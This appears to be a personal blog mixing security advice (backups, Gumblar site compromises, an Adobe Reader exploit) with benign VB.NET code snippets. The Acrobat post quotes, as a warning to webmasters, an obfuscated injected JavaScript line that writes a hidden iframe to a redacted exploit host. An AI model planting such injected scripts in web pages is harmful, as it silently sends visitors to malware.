Metallica’s blog

Backups

An important, but quickly forgotten aspect of computer security is backing up important data.

In general there are two types of backups, full and incremental. A full sized backup will have a size in the same order as the original, before compression. An incremental backup will save only the changes since the last backup. By nature these will always be based on a full backup.

Storage is an important factor. How many backups do you need? Will there be circumstances when you need to go back more then one day? Maybe even a week? How often do you make a full backup and how many incremental backups will be made in between?

Another thing to consider is whether the backup device is bootable. In other words, do you need to copy the backup to the original place first or can you boot from the media device?

In case of disaster the data and the backup should be so far apart that the disaster can’t destroy them both. After all if the backup is destroyed in the same fire what good will it do you?
Although some solutions like the ioSafe Solo can withstand a lot.

Check your site for unwanted additions

A Web attack that poisons Google search results is getting worse, according to security researchers.

The attack first relies on compromising normally legitimate website and planting malicious scripts. US CERT reports that stolen FTP credentials are reckoned to be the main technique in play during this stage of the attack but poor configuration settings and vulnerable web applications might also play a part.

Full story: http://cyberinsecure.com/gumblar-google-poisoning-attack-picks-up-speed-246-growth-over-last-week/

Why you should get version 9.1 if you are using Acrobat Reader

Since the 24th of February 2009 there is an exploit in the wild that affects all Adobe Reader versions 9.0 and earlier.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0658

Twice since then I have been contacted by site owners that found their sites spreading malware. One of them got infected by his own site.
The method that is in use is add a piece of Javascript to the code of the site. This Javascript points to an i-frame which in turn holds the exploit.
The javascript that gets added to the site usually just is an encrypted pointer like this:

document.write( unescape( '%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%78%78%78%78%78%78%78%78%78%78%78%2F%75%6E%69%71%75%65%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B%0D%0A%3C%2F%73%63%72%69%70%74%3E%0D%0A' ) );

Which looks like this after parsing:


document.write('<iframe src="http://xxxxxxxxxxx/unique/index.php" width="0" height="0" style="display:none;"></iframe>');


Obviously I x-ed out the domain. It doesn’t matter for this one if you are using IE, Opera, FireFox or any other browser. If you have Acrobat Reader installed and it’s not the latest version, you’re vulnerable.

So, webmasters, check if your code is unchanged and readers, make sure to get the latest updates of everything you are using.

Put focus on a control

If you want to put the focus on a control immediately after the form loads, you need to show the form first.

Example:

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Show()
Button2.Focus()
End Sub

Increase TextBox size

This is a trick I might need more often since we sometimes work with large logs. And the default size of a TextBox seems to be 32767
Code to change and check the size:

Dim instance As TextBox
Dim value As Integer
instance.MaxLength = value
value = instance.MaxLength

Found that here: http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.textbox.maxlength.aspx

Drag and Drop to get filepath

These pieces of code allow you to drag and drop a file into a picturebox and it will display the full path in a TextBox.

Private Sub exelreader_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
‘exelreader is the Form name and pb is the name of the PictureBox
pb.AllowDrop = True
End Sub

Private Sub pb_DragDrop(ByVal sender As Object, ByVal e As System.Windows.Forms.DragEventArgs) Handles pb.DragDrop
Dim filePaths As String() = {“”}
Try
filePaths = CType(e.Data.GetData(DataFormats.FileDrop), String())
Catch ex As Exception
TextBox1.Text = ex.Message
TextBox1.Text &= “Error Doing Drag/Drop”
End Try
For Each filename In filePaths
TextBox1.Text = filename
Next
End Sub

Convert to all CAPS

To rewrite the users input to capitals.

Dim startcode As String = TextBox1.Text
Dim letters As Char()
Dim counter As Byte = startcode.Length
Dim i As Byte = 0
If startcode <> “” Then
letters = startcode.ToCharArray()
For i = 0 To (counter – 1)
letters(i) = Char.ToUpper(letters(i))
Next
Dim endcode As String = letters
End If

New category: programming

As you may have noticed I have started posting snippets of code.
Mostly it is meant as a reminder to myself, since I tend to forget how I solved problems and then spend too much time looking for it.
This should help me find my solutions back easier and faster. And if it’s useful to anyone else, my pleasure.

Add controls on the fly

To add controls to your form (for example if a condition is met)

Dim RadioButton4 As New RadioButton()
Dim Label12 As New Label
RadioButton4.Text = “option 2″
RadioButton4.Appearance = Appearance.Button
RadioButton4.FlatAppearance.CheckedBackColor = Color.BlueViolet
If choice = “option 2″ Then
RadioButton4.Checked = True
End If
RadioButton4.Location = New Point(287, 114)
RadioButton4.Size = New Size(95, 23)
Me.Controls.Add(RadioButton4)

Label12.Text = “explanation of choices”
Label12.Location = New Point(287, 16)
Label12.Size = New Size(95, 13)
Label12.Font = New Font(label12.Font, FontStyle.Bold)
Me.Controls.Add(Label12)

Execute command line utilities

A very usefull set of lines if you want to make a command line utility easier to use and manipulate the output.

Dim process As New Process()
process.StartInfo.UseShellExecute = False
process.StartInfo.FileName = path & “filename.exe”
process.StartInfo.CreateNoWindow = True
process.StartInfo.WindowStyle = ProcessWindowStyle.Minimized
Dim parameters As String = ” /?”
process.StartInfo.Arguments = parameters
process.StartInfo.RedirectStandardOutput = True
process.StartInfo.RedirectStandardError = True
process.Start()
Dim SR As System.IO.StreamReader = process.StandardOutput
TextBox1.Text = SR.ReadToEnd
SR.Close()